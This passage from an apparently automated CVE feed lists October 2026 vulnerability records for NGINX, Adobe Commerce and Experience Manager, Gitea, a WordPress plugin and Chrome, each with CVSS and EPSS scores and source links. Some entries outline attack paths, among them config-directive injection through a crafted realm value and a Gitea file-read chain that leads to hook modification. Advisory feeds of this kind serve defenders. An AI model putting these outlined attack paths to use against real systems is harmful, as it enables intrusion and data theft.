A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and the root directive or access log format references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable in a string expression under certain conditions. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Impact: 
This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only.

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-92909
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92909).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92909&date=2026-10-25).
Sources:
NVD CVE-2026-92909: https://nvd.nist.gov/vuln/detail/CVE-2026-92909
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92909&date=2026-10-25
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-92464
Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92464).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92464&date=2026-10-25).
Sources:
NVD CVE-2026-92464: https://nvd.nist.gov/vuln/detail/CVE-2026-92464
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92464&date=2026-10-25
Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Description

NGINX Gateway Fabric has a vulnerability when it renders the spec.basic.realm (and spec.jwt.realm) field of a namespaced AuthenticationFilter verbatim, unescaped and...
https://kevwire.com/record/CVE-2026-91184
Description

NGINX Gateway Fabric has a vulnerability when it renders the spec.basic.realm (and spec.jwt.realm) field of a namespaced AuthenticationFilter verbatim, unescaped and... (Oct 14, 2026).
Description

NGINX Gateway Fabric has a vulnerability when it renders the spec.basic.realm (and spec.jwt.realm) field of a namespaced AuthenticationFilter verbatim, unescaped and unvalidated, into the shared data-plane nginx.conf as auth_basic "<realm>";. A namespaced authenticated attacker that configures AuthenticationFilter CRD to an HTTPRoute/GRPCRoute on a shared Gateway can craft a realm value that closes the quoted directive and the enclosing location {} block and injects arbitrary NGINX directives into that Gateway's data-plane config. 

Impact

A remote authenticated attacker can send crafted requests to configure NGINX Gateway Fabric AuthenticationFilter CRD and may be able to read every co-located tenant's mounted secrets, SSRF via proxy_pass, reading the pod ServiceAccount token, or hijacking other tenants' routes. There is no data plane exposure; this is a control plane issue only.






Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91184).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91184&date=2026-10-25).
Sources:
NVD CVE-2026-91184: https://nvd.nist.gov/vuln/detail/CVE-2026-91184
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91184&date=2026-10-25
Description

NGINX Gateway Fabric has a vulnerability when it renders the spec.basic.realm (and spec.jwt.realm) field of a namespaced AuthenticationFilter verbatim, unescaped and unvalidated, into the shared data-plane nginx.conf as auth_basic "<realm>";. A namespaced authenticated attacker that configures AuthenticationFilter CRD to an HTTPRoute/GRPCRoute on a shared Gateway can craft a realm value that closes the quoted directive and the enclosing location {} block and injects arbitrary NGINX directives into that Gateway's data-plane config. 

Impact

A remote authenticated attacker can send crafted requests to configure NGINX Gateway Fabric AuthenticationFilter CRD and may be able to read every co-located tenant's mounted secrets, SSRF via proxy_pass, reading the pod ServiceAccount token, or hijacking other tenants' routes. There is no data plane exposure; this is a control plane issue only.






Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Fast Courier  WordPress plugin before 5.2.4 does not sanitize and escape a value before using it in a SQL query on an unauthenticated REST route, allowing unauthenticated...
https://kevwire.com/record/CVE-2026-89288
The Fast Courier  WordPress plugin before 5.2.4 does not sanitize and escape a value before using it in a SQL query on an unauthenticated REST route, allowing unauthenticated... (Oct 14, 2026).
The Fast Courier  WordPress plugin before 5.2.4 does not sanitize and escape a value before using it in a SQL query on an unauthenticated REST route, allowing unauthenticated attackers to perform SQL injection and read arbitrary data from the database.
CVSS 8.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89288).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89288&date=2026-10-25).
Sources:
NVD CVE-2026-89288: https://nvd.nist.gov/vuln/detail/CVE-2026-89288
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89288&date=2026-10-25
The Fast Courier  WordPress plugin before 5.2.4 does not sanitize and escape a value before using it in a SQL query on an unauthenticated REST route, allowing unauthenticated attackers to perform SQL injection and read arbitrary data from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially...
https://kevwire.com/record/CVE-2026-48383
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially... (Oct 13, 2026).
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 10.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-48383).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48383&date=2026-10-25).
Sources:
NVD CVE-2026-48383: https://nvd.nist.gov/vuln/detail/CVE-2026-48383
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48383&date=2026-10-25
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in NGINX Plus and NGINX Open Source when a location is configured that uses the alias directive together with rewrite and a set or return directive...
https://kevwire.com/record/CVE-2026-15176
A vulnerability exists in NGINX Plus and NGINX Open Source when a location is configured that uses the alias directive together with rewrite and a set or return directive... (Oct 14, 2026).
A vulnerability exists in NGINX Plus and NGINX Open Source when a location is configured that uses the alias directive together with rewrite and a set or return directive referencing the $request_filename variable. Alternatively, the same result could be achieved when the $request_filename variable is used in an access log format directive. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Impact:
This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only.




Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-15176).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-15176&date=2026-10-25).
Sources:
NVD CVE-2026-15176: https://nvd.nist.gov/vuln/detail/CVE-2026-15176
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-15176&date=2026-10-25
A vulnerability exists in NGINX Plus and NGINX Open Source when a location is configured that uses the alias directive together with rewrite and a set or return directive referencing the $request_filename variable. Alternatively, the same result could be achieved when the $request_filename variable is used in an access log format directive. An unauthenticated attacker along with conditions beyond their control can exploit this vulnerability by sending crafted HTTP requests. This may cause a heap buffer overflow in the NGINX worker process leading to a restart. Additionally, attackers can execute code on systems with Address Space Layout Randomization (ASLR) disabled or when the attacker can bypass ASLR.

Impact:
This vulnerability may allow remote attackers to cause a denial-of-service (DoS) on the NGINX system or to possibly trigger a code execution. There is no control plane exposure; this is a data plane issue only.




Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-92908
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction.
CVSS 8.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92908).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92908&date=2026-10-25).
Sources:
NVD CVE-2026-92908: https://nvd.nist.gov/vuln/detail/CVE-2026-92908
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92908&date=2026-10-25
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea's pull request review notifier does not attach the pull request to the Actions notification, so the fork workflow approval gate does not recognize the run as originating...
https://kevwire.com/record/CVE-2026-71184
Gitea's pull request review notifier does not attach the pull request to the Actions notification, so the fork workflow approval gate does not recognize the run as originating... (Oct 14, 2026).
Gitea's pull request review notifier does not attach the pull request to the Actions notification, so the fork workflow approval gate does not recognize the run as originating from a fork. Review comment and review approval or rejection events can consequently load workflow code from the fork head and run it on the base repository's runners without the required maintainer approval. This allows execution of fork-controlled workflow code across the intended approval boundary.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71184).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71184&date=2026-10-25).
Sources:
NVD CVE-2026-71184: https://nvd.nist.gov/vuln/detail/CVE-2026-71184
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71184&date=2026-10-25
Gitea's pull request review notifier does not attach the pull request to the Actions notification, so the fork workflow approval gate does not recognize the run as originating from a fork. Review comment and review approval or rejection events can consequently load workflow code from the fork head and run it on the base repository's runners without the required maintainer approval. This allows execution of fork-controlled workflow code across the intended approval boundary.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea enforces first-time fork contributor approval by blocking jobs, but some job transition and dispatch paths do not re-check the run's approval requirement.
https://kevwire.com/record/CVE-2026-66877
Gitea enforces first-time fork contributor approval by blocking jobs, but some job transition and dispatch paths do not re-check the run's approval requirement. (Oct 14, 2026).
Gitea enforces first-time fork contributor approval by blocking jobs, but some job transition and dispatch paths do not re-check the run's approval requirement. A separate run sharing a job-level concurrency group can cancel a pending job and cause its blocked sibling jobs to be re-emitted and dispatched without approval. This allows unreviewed workflow code to execute on self-hosted runners; fork secrets remain withheld and the run token remains read-only.
CVSS 8.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-66877).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-66877&date=2026-10-25).
Sources:
NVD CVE-2026-66877: https://nvd.nist.gov/vuln/detail/CVE-2026-66877
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-66877&date=2026-10-25
Gitea enforces first-time fork contributor approval by blocking jobs, but some job transition and dispatch paths do not re-check the run's approval requirement. A separate run sharing a job-level concurrency group can cancel a pending job and cause its blocked sibling jobs to be re-emitted and dispatched without approval. This allows unreviewed workflow code to execute on self-hosted runners; fork secrets remain withheld and the run token remains read-only.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gitea's Org-mode markup renderer processes INCLUDE directives supplied to the repository markup endpoint without preventing access to server-side files.
https://kevwire.com/record/CVE-2026-59774
Gitea's Org-mode markup renderer processes INCLUDE directives supplied to the repository markup endpoint without preventing access to server-side files. (Oct 14, 2026).
Gitea's Org-mode markup renderer processes INCLUDE directives supplied to the repository markup endpoint without preventing access to server-side files. An unauthenticated attacker can use a suitable public repository to read files accessible to the Gitea service account. If the disclosed files include app.ini and its INTERNAL_TOKEN, the attacker can chain the disclosure with internal logger access to modify a Git hook and execute commands as the Gitea service account.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59774).
EPSS 28.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59774&date=2026-10-25).
Sources:
NVD CVE-2026-59774: https://nvd.nist.gov/vuln/detail/CVE-2026-59774
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59774&date=2026-10-25
Gitea's Org-mode markup renderer processes INCLUDE directives supplied to the repository markup endpoint without preventing access to server-side files. An unauthenticated attacker can use a suitable public repository to read files accessible to the Gitea service account. If the disclosed files include app.ini and its INTERNAL_TOKEN, the attacker can chain the disclosure with internal logger access to modify a Git hook and execute commands as the Gitea service account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially...
https://kevwire.com/record/CVE-2026-48382
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially... (Oct 13, 2026).
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 10.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-48382).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48382&date=2026-10-25).
Sources:
NVD CVE-2026-48382: https://nvd.nist.gov/vuln/detail/CVE-2026-48382
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48382&date=2026-10-25
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110172
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110172).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110172&date=2026-10-25).
Sources:
NVD CVE-2026-110172: https://nvd.nist.gov/vuln/detail/CVE-2026-110172
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110172&date=2026-10-25
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110171
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110171).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110171&date=2026-10-25).
Sources:
NVD CVE-2026-110171: https://nvd.nist.gov/vuln/detail/CVE-2026-110171
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110171&date=2026-10-25
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110169
Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110169).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110169&date=2026-10-25).
Sources:
NVD CVE-2026-110169: https://nvd.nist.gov/vuln/detail/CVE-2026-110169
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110169&date=2026-10-25
Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110168
Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110168).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110168&date=2026-10-25).
Sources:
NVD CVE-2026-110168: https://nvd.nist.gov/vuln/detail/CVE-2026-110168
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110168&date=2026-10-25
Use after free in V8 in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110167
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110167).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110167&date=2026-10-25).
Sources:
NVD CVE-2026-110167: https://nvd.nist.gov/vuln/detail/CVE-2026-110167
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110167&date=2026-10-25
Use after free in Media in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer overflow in Animation in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-110166
Buffer overflow in Animation in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 13, 2026).
Buffer overflow in Animation in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110166).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110166&date=2026-10-25).
Sources:
NVD CVE-2026-110166: https://nvd.nist.gov/vuln/detail/CVE-2026-110166
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_01668083673.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110166&date=2026-10-25
Buffer overflow in Animation in Google Chrome prior to 155.0.8059.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Core in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-110165
Use after free in Core in Google Chrome on on Android prior to 155.0.8059.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML... (Oct 13, 2026).
